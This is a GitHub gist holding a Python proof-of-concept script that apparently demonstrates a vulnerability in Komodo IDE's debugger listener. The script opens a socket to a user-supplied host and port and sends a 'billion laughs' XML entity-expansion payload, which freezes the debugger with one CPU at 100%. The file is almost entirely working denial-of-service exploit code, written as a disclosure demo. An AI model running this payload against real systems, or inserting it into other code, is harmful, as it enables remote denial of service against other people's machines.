Created
January 4, 2015 03:47
-
-
Save hartwork/7778717c8f0d57c489ab to your computer and use it in GitHub Desktop.
Demonstrate that Komodo IDE with debugger listening can be frozen with one CPU at 100% for longer, remotely
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
# Copyright (C) 2013 Sebastian Pipping <[email protected]> | |
# Licensed under GPL v3 or later | |
# | |
# Demonstrate that Komodo IDE with debugger listening | |
# can be frozen with one CPU at 100% for longer, remotely | |
# | |
# https://community.activestate.com/node/10396 | |
import argparse | |
import socket | |
BILLION = """\ | |
<?xml version="1.0" encoding="utf-8"?> | |
<!DOCTYPE lolz [ | |
<!ENTITY lol "lol"> | |
<!ELEMENT init (#PCDATA)> | |
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> | |
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> | |
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> | |
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> | |
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> | |
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> | |
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> | |
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> | |
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> | |
]> | |
<init xmlns="urn:debugger_protocol_v1">&lol9;</init> | |
""" | |
def send_xml(sock, xml): | |
data = '%d\0%s\0' % (len(xml), xml) | |
sock.send(data) | |
def main(host, port): | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock.connect((host, port)) | |
send_xml(sock, BILLION) | |
sock.close() | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser() | |
parser.add_argument('host', metavar='HOST') | |
parser.add_argument('port', metavar='PORT', type=int) | |
options = parser.parse_args() | |
main(options.host, options.port) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment